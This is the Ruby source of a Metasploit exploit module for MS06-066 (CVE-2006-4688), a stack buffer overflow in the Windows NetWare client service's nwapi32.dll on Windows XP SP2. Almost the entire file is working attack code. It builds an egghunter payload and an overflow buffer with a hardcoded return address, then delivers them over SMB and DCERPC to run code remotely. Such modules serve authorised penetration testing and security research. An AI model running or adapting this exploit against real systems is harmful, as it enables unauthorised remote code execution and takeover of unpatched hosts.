metasploit-framework/modules/exploits/windows/smb/ms06_066_nwapi.rb

137 lines
3.9 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'MS06-066 Microsoft Services nwapi32.dll Module Exploit',
'Description' => %q{
This module exploits a stack buffer overflow in the svchost service when the netware
client service is running. This specific vulnerability is in the nwapi32.dll module.
},
'Author' => [ 'pusscat' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-4688'],
[ 'OSVDB', '30260'],
[ 'BID', '21023'],
[ 'MSB', 'MS06-066'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 296,
'BadChars' => "",
'Compat' =>
{
# -ws2ord XXX?
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP2',
{
'Ret' => 0x00EBEEEC ,
},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 14 2006'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']),
], self.class)
end
def exploit
# [in] [unique] wchar *
# [in] wchar *
# [in, out] long
# [out] handle
# Generate the egghunter payload
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
#print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")
# Add giant blocks of guard data before and after the egg
eggdata =
rand_text(1024) +
egg +
rand_text(1024)
buflen = 295
ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) +
[ target.ret ].pack('V') + "\x00"
#ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"
stubdata =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString("\\\\BBBB") +
NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE!
#NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +
NDR.long(rand(0xffffffff)) +
NDR.long(rand(0xffffffff)) +
#NDR.long((ofstring.length * 2) + 0xC) +
eggdata
print_status("Connecting to the SMB service...")
connect()
smb_login()
handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
print_status("Calling the vulnerable function...")
begin
dcerpc.call(0x09, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
print_status('Server did not respond, this is expected')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_status('Server disconnected, this is expected')
else
raise e
end
else
print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
end
# Cleanup
handler
disconnect
if (dcerpc.last_response != nil and
dcerpc.last_response.stub_data != nil and
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
return true
else
return false
end
end
end